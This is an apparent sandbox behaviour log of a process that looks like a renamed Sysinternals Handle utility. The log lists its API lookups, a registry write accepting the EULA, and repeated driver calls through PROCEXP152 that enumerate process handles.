ID	#178
File Name	c:\users\fd1hvy\appdata\local\temp\mxkefu6a64.exe
Command Line	mxkeFu6a.exe -accepteula "vt mapping.exe" -nobanner
Initial Working Directory	C:\Users\FD1HVy\Desktop\
Monitor	Start Time: 00:03:55, Reason: Child Process
Unmonitor	End Time: 00:04:17, Reason: Self Terminated
Monitor Duration	00:00:22

OS Process Information

»

Information	Value
PID	0x13e0
Parent PID	0x10c4 (c:\users\fd1hvy\desktop\mxkefu6a.exe)
Bitness	64-bit
Is Created or Modified Executable
Integrity Level	High (Elevated)
Username	NQDPDE\FD1HVy
Enabled Privileges	SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs	0x 1244 0x 548

Memory Dumps

»

Name	Start VA	End VA	Dump Reason	PE Rebuilds	Bitness	Entry Points	AV	YARA	Actions
mxkefu6a64.exe	0x140000000	0x140045FFF	Process Termination	-	64-bit	-			... Region Actions Download Dump

Threads

Thread 0x1244

1979

0

»

Category	Operation	Information	Count	Logfile
Module	Get Handle	module_name = c:\windows\system32\kernel32.dll, base_address = 0x7ff92fdd0000	1	Fn
Module	Get Address	module_name = c:\windows\system32\kernel32.dll, address_out = 0x7ff92fdee1a0	1	Fn
Module	Get Address	module_name = c:\windows\system32\kernel32.dll, function = FlsFree, address_out = 0x7ff92fdee4e0	1	Fn
Module	Get Address	module_name = c:\windows\system32\kernel32.dll, function = FlsGetValue, address_out = 0x7ff92fde4710	1	Fn
Module	Get Address	module_name = c:\windows\system32\kernel32.dll, function = FlsSetValue, address_out = 0x7ff92fdebcd0	1	Fn
Module	Get Address	module_name = c:\windows\system32\kernel32.dll, function = InitializeCriticalSectionEx, address_out = 0x7ff92fdf1fb0	1	Fn
Module	Get Address	module_name = c:\windows\system32\kernel32.dll, function = CreateEventExW, address_out = 0x7ff92fdf1f10	1	Fn
Module	Get Address	module_name = c:\windows\system32\kernel32.dll, function = CreateSemaphoreExW, address_out = 0x7ff92fdf1f70	1	Fn
Module	Get Address	module_name = c:\windows\system32\kernel32.dll, function = SetThreadStackGuarantee, address_out = 0x7ff92fdee1e0	1	Fn
Module	Get Address	module_name = c:\windows\system32\kernel32.dll, function = CreateThreadpoolTimer, address_out = 0x7ff92fdeb200	1	Fn
Module	Get Address	module_name = c:\windows\system32\kernel32.dll, function = SetThreadpoolTimer, address_out = 0x7ff931f83770	1	Fn
Module	Get Address	module_name = c:\windows\system32\kernel32.dll, function = WaitForThreadpoolTimerCallbacks, address_out = 0x7ff931f80f10	1	Fn
Module	Get Address	module_name = c:\windows\system32\kernel32.dll, function = CloseThreadpoolTimer, address_out = 0x7ff931f809e0	1	Fn
Module	Get Address	module_name = c:\windows\system32\kernel32.dll, function = CreateThreadpoolWait, address_out = 0x7ff92fdee6e0	1	Fn
Module	Get Address	module_name = c:\windows\system32\kernel32.dll, function = SetThreadpoolWait, address_out = 0x7ff931f80ff0	1	Fn
Module	Get Address	module_name = c:\windows\system32\kernel32.dll, function = CloseThreadpoolWait, address_out = 0x7ff931f808e0	1	Fn
Module	Get Address	module_name = c:\windows\system32\kernel32.dll, function = FlushProcessWriteBuffers, address_out = 0x7ff931fe6fa0	1	Fn
Module	Get Address	module_name = c:\windows\system32\kernel32.dll, function = FreeLibraryWhenCallbackReturns, address_out = 0x7ff931fc51c0	1	Fn
Module	Get Address	module_name = c:\windows\system32\kernel32.dll, function = GetCurrentProcessorNumber, address_out = 0x7ff931fe99c0	1	Fn
Module	Get Address	module_name = c:\windows\system32\kernel32.dll, function = GetLogicalProcessorInformation, address_out = 0x7ff92fdee2c0	1	Fn
Module	Get Address	module_name = c:\windows\system32\kernel32.dll, function = CreateSymbolicLinkW, address_out = 0x7ff92fe06b80	1	Fn
Module	Get Address	module_name = c:\windows\system32\kernel32.dll, function = SetDefaultDllDirectories, address_out = 0x7ff92f228b70	1	Fn
Module	Get Address	module_name = c:\windows\system32\kernel32.dll, function = EnumSystemLocalesEx, address_out = 0x7ff92fe06d50	1	Fn
Module	Get Address	module_name = c:\windows\system32\kernel32.dll, function = CompareStringEx, address_out = 0x7ff92fde8f30	1	Fn
Module	Get Address	module_name = c:\windows\system32\kernel32.dll, function = GetDateFormatEx, address_out = 0x7ff92fe06e90	1	Fn
Module	Get Address	module_name = c:\windows\system32\kernel32.dll, function = GetLocaleInfoEx, address_out = 0x7ff92fdec1d0	1	Fn
Module	Get Address	module_name = c:\windows\system32\kernel32.dll, function = GetTimeFormatEx, address_out = 0x7ff92fe070a0	1	Fn
Module	Get Address	module_name = c:\windows\system32\kernel32.dll, function = GetUserDefaultLocaleName, address_out = 0x7ff92fdee3b0	1	Fn
Module	Get Address	module_name = c:\windows\system32\kernel32.dll, function = IsValidLocaleName, address_out = 0x7ff92fe071d0	1	Fn
Module	Get Address	module_name = c:\windows\system32\kernel32.dll, function = LCMapStringEx, address_out = 0x7ff92fde62d0	1	Fn
Module	Get Address	module_name = c:\windows\system32\kernel32.dll, function = GetCurrentPackageId, address_out = 0x7ff92f1bf2e0	1	Fn
Module	Get Address	module_name = c:\windows\system32\kernel32.dll, function = GetTickCount64, address_out = 0x7ff92fde5eb0	1	Fn
Module	Get Address	module_name = c:\windows\system32\kernel32.dll, function = GetFileInformationByHandleExW, address_out = 0x0	1	Fn
Module	Get Address	module_name = c:\windows\system32\kernel32.dll, function = SetFileInformationByHandleW, address_out = 0x0	1	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn
File	Get Info	filename = STD_INPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_ERROR_HANDLE	1	Fn
File	Get Info	filename = STD_ERROR_HANDLE, type = file_type	1	Fn
Environment	Get Environment String	-	1	Fn Data
Module	Get Filename	process_name = c:\users\fd1hvy\appdata\local\temp\mxkefu6a64.exe, file_name_orig = C:\Users\FD1HVy\AppData\Local\Temp\mxkeFu6a64.exe, size = 260	1	Fn
Module	Get Handle	module_name = c:\windows\system32\kernel32.dll, base_address = 0x7ff92fdd0000	1	Fn
Module	Get Address	module_name = c:\windows\system32\kernel32.dll, function = IsWow64Process, address_out = 0x7ff92fdec1b0	1	Fn
Registry	Open Key	reg_name = HKEY_LOCAL_MACHINE\Software\Sysinternals	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Sysinternals	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Sysinternals, value_name = EulaAccepted, data = 0	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Sysinternals\Handle	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Sysinternals\Handle, value_name = EulaAccepted, data = 1	1	Fn
Registry	Create Key	reg_name = HKEY_CURRENT_USER\Software\Sysinternals\Handle	1	Fn
Registry	Write Value	reg_name = HKEY_CURRENT_USER\Software\Sysinternals\Handle, value_name = EulaAccepted, data = 1, size = 4, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
User	Lookup Privilege	privilege = SeDebugPrivilege, luid = 20	1	Fn
File	Create	filename = \\.\PROCEXP152, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
Module	Get Handle	module_name = c:\windows\system32\ntdll.dll, base_address = 0x7ff931f40000	1	Fn
Module	Get Address	module_name = c:\windows\system32\ntdll.dll, function = NtQueryInformationProcess, address_out = 0x7ff931fe56b0	1	Fn
Module	Get Handle	module_name = c:\windows\system32\ntdll.dll, base_address = 0x7ff931f40000	1	Fn
Module	Get Address	module_name = c:\windows\system32\ntdll.dll, function = NtQueryInformationThread, address_out = 0x7ff931fe5830	1	Fn
Module	Get Handle	module_name = c:\windows\system32\ntdll.dll, base_address = 0x7ff931f40000	1	Fn
Module	Get Address	module_name = c:\windows\system32\ntdll.dll, function = NtQuerySystemInformation, address_out = 0x7ff931fe5a50	1	Fn
Module	Get Handle	module_name = c:\windows\system32\ntdll.dll, base_address = 0x7ff931f40000	1	Fn
Module	Get Address	module_name = c:\windows\system32\ntdll.dll, function = NtQuerySymbolicLinkObject, address_out = 0x7ff931fe7da0	1	Fn
Module	Get Handle	module_name = c:\windows\system32\ntdll.dll, base_address = 0x7ff931f40000	1	Fn
Module	Get Address	module_name = c:\windows\system32\ntdll.dll, function = NtQueryDirectoryObject, address_out = 0x7ff931fe7a40	1	Fn
Module	Get Handle	module_name = c:\windows\system32\ntdll.dll, base_address = 0x7ff931f40000	1	Fn
Module	Get Address	module_name = c:\windows\system32\ntdll.dll, function = NtOpenSymbolicLinkObject, address_out = 0x7ff931fe77c0	1	Fn
Module	Get Handle	module_name = c:\windows\system32\ntdll.dll, base_address = 0x7ff931f40000	1	Fn
Module	Get Address	module_name = c:\windows\system32\ntdll.dll, function = NtOpenDirectoryObject, address_out = 0x7ff931fe5e90	1	Fn
Module	Get Handle	module_name = c:\windows\system32\ntdll.dll, base_address = 0x7ff931f40000	1	Fn
Module	Get Address	module_name = c:\windows\system32\ntdll.dll, function = NtQueryObject, address_out = 0x7ff931fe5590	1	Fn
Module	Get Handle	module_name = c:\windows\system32\ntdll.dll, base_address = 0x7ff931f40000	1	Fn
Module	Get Address	module_name = c:\windows\system32\ntdll.dll, function = NtQuerySection, address_out = 0x7ff931fe5db0	1	Fn
Module	Get Handle	module_name = c:\windows\system32\ntdll.dll, base_address = 0x7ff931f40000	1	Fn
Module	Get Address	module_name = c:\windows\system32\ntdll.dll, function = RtlInitAnsiString, address_out = 0x7ff931f5bfc0	1	Fn
Module	Get Handle	module_name = c:\windows\system32\ntdll.dll, base_address = 0x7ff931f40000	1	Fn
Module	Get Address	module_name = c:\windows\system32\ntdll.dll, function = RtlInitUnicodeString, address_out = 0x7ff931f51620	1	Fn
Module	Get Handle	module_name = c:\windows\system32\ntdll.dll, base_address = 0x7ff931f40000	1	Fn
Module	Get Address	module_name = c:\windows\system32\ntdll.dll, function = RtlAnsiStringToUnicodeString, address_out = 0x7ff931f642e0	1	Fn
Module	Get Handle	module_name = c:\windows\system32\ntdll.dll, base_address = 0x7ff931f40000	1	Fn
Module	Get Address	module_name = c:\windows\system32\ntdll.dll, function = RtlFreeUnicodeString, address_out = 0x7ff931f5c460	1	Fn
Module	Get Handle	module_name = c:\windows\system32\ntdll.dll, base_address = 0x7ff931f40000	1	Fn
Module	Get Address	module_name = c:\windows\system32\ntdll.dll, function = RtlFreeAnsiString, address_out = 0x7ff931f5c460	1	Fn
Module	Get Handle	module_name = c:\windows\system32\ntdll.dll, base_address = 0x7ff931f40000	1	Fn
Module	Get Address	module_name = c:\windows\system32\ntdll.dll, function = RtlUnicodeStringToAnsiString, address_out = 0x7ff931f65220	1	Fn
System	Get Info	-	8	Fn
System	Get Info	-	1	Fn
System	Get Info	type = SYSTEM_PROCESS_INFORMATION	9	Fn
System	Get Info	type = SYSTEM_PROCESS_INFORMATION	1	Fn
Process	Open	desired_access = PROCESS_DUP_HANDLE	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	1	Fn Data
Process	Open	desired_access = PROCESS_DUP_HANDLE	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	1	Fn Data
Process	Open	desired_access = PROCESS_DUP_HANDLE	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	1	Fn Data
Process	Open	desired_access = PROCESS_DUP_HANDLE	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	1	Fn Data
Process	Open	desired_access = PROCESS_DUP_HANDLE	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	1	Fn Data
Process	Open	desired_access = PROCESS_DUP_HANDLE	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335004c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	1	Fn Data
Process	Open	desired_access = PROCESS_DUP_HANDLE	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	1	Fn Data
Process	Open	desired_access = PROCESS_DUP_HANDLE	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	1	Fn Data
Process	Open	desired_access = PROCESS_DUP_HANDLE	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	1	Fn Data
Process	Open	desired_access = PROCESS_DUP_HANDLE	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	1	Fn Data
Process	Open	desired_access = PROCESS_DUP_HANDLE	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	1	Fn Data
Process	Open	desired_access = PROCESS_DUP_HANDLE	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	1	Fn Data
Process	Open	desired_access = PROCESS_DUP_HANDLE	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	1	Fn Data
Process	Open	desired_access = PROCESS_DUP_HANDLE	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	1	Fn Data
Process	Open	desired_access = PROCESS_DUP_HANDLE	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	1	Fn Data
Process	Open	desired_access = PROCESS_DUP_HANDLE	1	Fn
Process	Get Info	type = PROCESS_BASIC_INFORMATION	1	Fn
Process	Open	desired_access = PROCESS_DUP_HANDLE	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	1	Fn Data
Process	Open	desired_access = PROCESS_DUP_HANDLE	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	1	Fn Data
Process	Open	desired_access = PROCESS_DUP_HANDLE	1	Fn
Process	Open	desired_access = PROCESS_DUP_HANDLE	1	Fn
Process	Open	desired_access = PROCESS_DUP_HANDLE	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	1	Fn Data
Process	Open	desired_access = PROCESS_DUP_HANDLE	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	1	Fn Data
Process	Open	desired_access = PROCESS_DUP_HANDLE	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	1	Fn Data
Process	Open	desired_access = PROCESS_DUP_HANDLE	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335004c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	1	Fn Data
Process	Open	desired_access = PROCESS_DUP_HANDLE	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335004c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	1	Fn Data
Process	Open	desired_access = PROCESS_DUP_HANDLE	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335004c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	1	Fn Data
Process	Open	desired_access = PROCESS_DUP_HANDLE	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	1	Fn Data
Process	Open	desired_access = PROCESS_DUP_HANDLE	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	1	Fn Data
Process	Open	desired_access = PROCESS_DUP_HANDLE	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	1	Fn Data
Process	Open	desired_access = PROCESS_DUP_HANDLE	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335003c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	1	Fn Data
Process	Open	desired_access = PROCESS_DUP_HANDLE	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335003c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350014	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	1	Fn Data
Process	Open	desired_access = PROCESS_DUP_HANDLE	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335003c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350014	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	1	Fn Data
Process	Open	desired_access = PROCESS_DUP_HANDLE	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335003c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350014	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	1	Fn Data
Process	Open	desired_access = PROCESS_DUP_HANDLE	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335003c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350014	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	1	Fn Data
Process	Open	desired_access = PROCESS_DUP_HANDLE	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335003c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350014	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	1	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	101	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	52	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	71	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	63	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	44	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	5	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	47	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	22	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	11	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	51	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	13	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	104	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	8	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	14	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	22	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	46	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	1	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	1	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	20	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	28	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	58	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	11	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	32	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	21	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	112	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	38	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	27	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	35	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	11	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	6	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	7	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	40	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	21	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	4	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	7	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	11	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	18	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	23	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	22	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	8	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	169	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	2	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	117	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	46	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	63	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	7	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	11	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	14	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	5	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	5	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	5	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	5	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	5	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	5	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	5	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	5	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	5	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
